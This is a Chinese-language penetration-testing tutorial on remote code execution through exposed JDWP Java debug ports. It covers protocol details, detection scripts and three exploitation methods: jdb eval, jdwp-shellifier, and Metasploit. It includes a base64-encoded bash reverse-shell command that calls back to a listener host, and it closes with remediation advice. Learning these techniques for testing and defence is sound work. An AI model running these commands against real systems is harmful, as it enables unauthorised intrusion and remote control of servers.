JDWP调试接口RCE漏洞介绍
字数 1144 2025-08-07 08:22:20
JDWP调试接口RCE漏洞分析与利用
0x1 前言
JDWP(Java Debug Wire Protocol,Java调试线协议)是为Java调试设计的通讯交互协议。在渗透测试中,如果目标开启了JDWP服务且未配置访问控制,攻击者可以利用该协议实现远程代码执行(RCE)。
0x2 JDWP协议详解
通信过程
JDWP通信分为两个阶段:
- 握手阶段:Debugger端发送14字节字符串"JDWP-Handshake",被调试JVM端回复相同字符串
- 应答阶段:通过命令包(Command Packet)和回复包(Reply Packet)进行通信
数据包结构
数据包由固定长度的包头(Header)和可变长度的数据(Data)组成,包头11字节:
| 字段 | 说明 |
|---|---|
| Length | 整个数据包长度(字节) |
| Id | 唯一标识符,用于匹配Command和Reply |
| Flags | 0x80表示Reply Packet,0表示Command Packet |
| Command Set | 命令类别分组(0-63: Debugger→JVM; 64-127: JVM→Debugger; 128-256: 保留) |
| Error Code | 0表示成功,非0表示错误 |
调试命令启动方式
不同Java版本的调试启动命令:
# Java 1.3
java -Xnoagent -Djava.compiler=NONE -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 <ProgramName>
# Java 1.4
java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 <ProgramName>
# Java 1.5+
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000 <ProgramName>
# Java 9+ (支持远程调试)
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000 <ProgramName>
# Maven调试Spring Boot
mvn spring-boot:run -Drun.jvmArguments="-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8001"
0x3 漏洞利用实战
环境搭建
Windows下Tomcat调试模式
编辑bin/startup.bat,添加:
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000
Linux下Tomcat调试模式
编辑catalina.sh,添加:
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000"
或直接运行:
./catalina.sh jpda run
漏洞检测方法
- Nmap扫描:
nmap -sT -sV <target_ip> -p 8000
- Telnet探测:
telnet <target_ip> 8000
# 立即输入"JDWP-Handshake"
- Python脚本探测:
import socket
host = "192.168.182.130"
port = 8000
try:
client = socket.socket()
client.connect((host, port))
client.send(b"JDWP-Handshake")
if client.recv(1024) == b"JDWP-Handshake":
print("[*] {}:{} Listening JDWP Service!".format(host, port))
except Exception as e:
print("[-] Connection failed!")
finally:
client.close()
漏洞利用方法
方法1:使用JDB工具
- 连接JDWP服务:
jdb -connect com.sun.jdi.SocketAttach:hostname=<target_ip>,port=8000
- 查看线程:
threads
- 选择线程并进入:
thread <thread_id>
stepi
- 执行命令:
eval java.lang.Runtime.getRuntime().exec("whoami")
方法2:使用jdwp-shellifier脚本
- 下载脚本:
git clone https://github.com/IOActive/jdwp-shellifier
- 执行命令:
python2 jdwp-shellifier.py -t <target_ip> -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"
- 反弹Shell:
# 本地监听
nc -lvp 6666
# 执行编码后的命令
python2 jdwp-shellifier.py -t 192.168.182.130 -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTgyLjEyOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
方法3:使用Metasploit
msf5 > use exploit/multi/misc/java_jdwp_debugger
msf5 exploit(multi/misc/java_jdwp_debugger) > set rhosts <target_ip>
msf5 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x64/shell/bind_tcp
msf5 exploit(multi/misc/java_jdwp_debugger) > run
脚本改造(实现回显)
原始脚本仅执行命令无回显,可通过以下Java代码思路改造:
Process process = Runtime.getRuntime().exec("id");
InputStream input = process.getInputStream();
InputStreamReader isr = new InputStreamReader(input);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
改造步骤:
- 调用Process.getInputStream()获取输入流
- 创建InputStreamReader对象
- 创建BufferedReader对象
- 循环调用readLine()获取输出
0x4 修复建议
- 生产环境关闭JDWP服务
- JDWP服务端口不对外开放
- 如需远程调试,配置严格的访问控制
0x5 总结
JDWP协议为Java调试提供了强大功能,但不当配置会导致严重安全风险。本文详细分析了JDWP协议通信过程、数据包结构,并提供了三种漏洞利用方法及修复建议,帮助安全人员全面了解该漏洞。